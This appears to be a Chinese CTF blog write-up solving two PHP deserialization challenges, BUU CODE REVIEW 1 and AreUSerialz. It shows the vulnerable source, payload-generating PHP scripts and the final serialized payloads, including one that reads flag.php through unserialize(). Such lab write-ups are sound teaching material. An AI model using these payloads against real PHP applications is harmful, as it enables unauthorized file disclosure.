题目链接-BUU CODE REVIEW 1
信息收集
进入题目环境之后可以看见在页面展示了php代码,该代码核心主要是由两大部分组成的,那么一般把源代码给你的ctf题一般是绕过,然后传参之类的,最后通过各种姿势拿到flag
源码分析
我们先看第一部分较为关键的代码,可以清楚的看见要想获取flag,就必须要让BUU类对象的成员correct的变量恒等于input成员的变量
继续分析第二部分,可以看见这部分代码属于传参的判断语句,简单来说,你想要控制第一部分的成员变量的恒等于获得flag,就必须要从最后一个php语句的obj进行接受传参内容,前提是让以上的if条件的判断为真
解题
既让要获取flag,可以先进行构造payload序列化语句,然后再将payload传参进去obj可控变量里
引用绕过
在前面得知要想获取flag,必须恒等于相对应对象成员的变量,这里也不在解释了。我们根据这个思路尝试使用引号进行绕过恒等于,也就是当这个input变量什么都不给予时那么一定是恒等于correct空变量的赋值,然后对其类进行反序列化从而获取payload
<?php
class BUU {
public $correct = "";
public $input = "";
}
$a = new BUU();
$a->correct = "";
$a->input = &$a->correct;
echo serialize($a);
?>
弱数组绕过
难点主要是在md51和md52两个接受变量的MD5值必须恒等于,其它的只需要在相对应的请求方式进行变量传参进去即可,最后将序列化payload放入obj=后
序列化payload:O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}
发送后获取flag
[网鼎杯 2020 青龙组]AreUSerialz
访问题目链接可以看见以下下代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码分析
可以看见最后一行的if判断语句是接受反序列化的传参是str
分析代码发现,获得flag可以通过file_get_contents这个函数包含flag.php文件
解题
编写payload的php代码,可以php在线运行或者本地运行,如下图
<?php
class FileHandler {
public $op = 2;//数字型op变量,当为2时调用read自定义函数,从而获取flag.php的文件读取
public $filename= "flag.php";
#public $content;//加不加都可以
}
$a = new FileHandler();
echo serialize($a);
?>
其中op变量为2是因为要调用read的自定义函数,注意2不能用双引号,否则代表字符型
PAYLOAD : ?str=O:11:“FileHandler”:2:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;}
提交payload之后发现有[Resutl]的提示,尝试查看源代码获得flag值
[极客大挑战 2019]PHP:另一篇博客
结尾
有什么不会的,疑问的可以私信我或者留言在评论区,看到的话我都会回复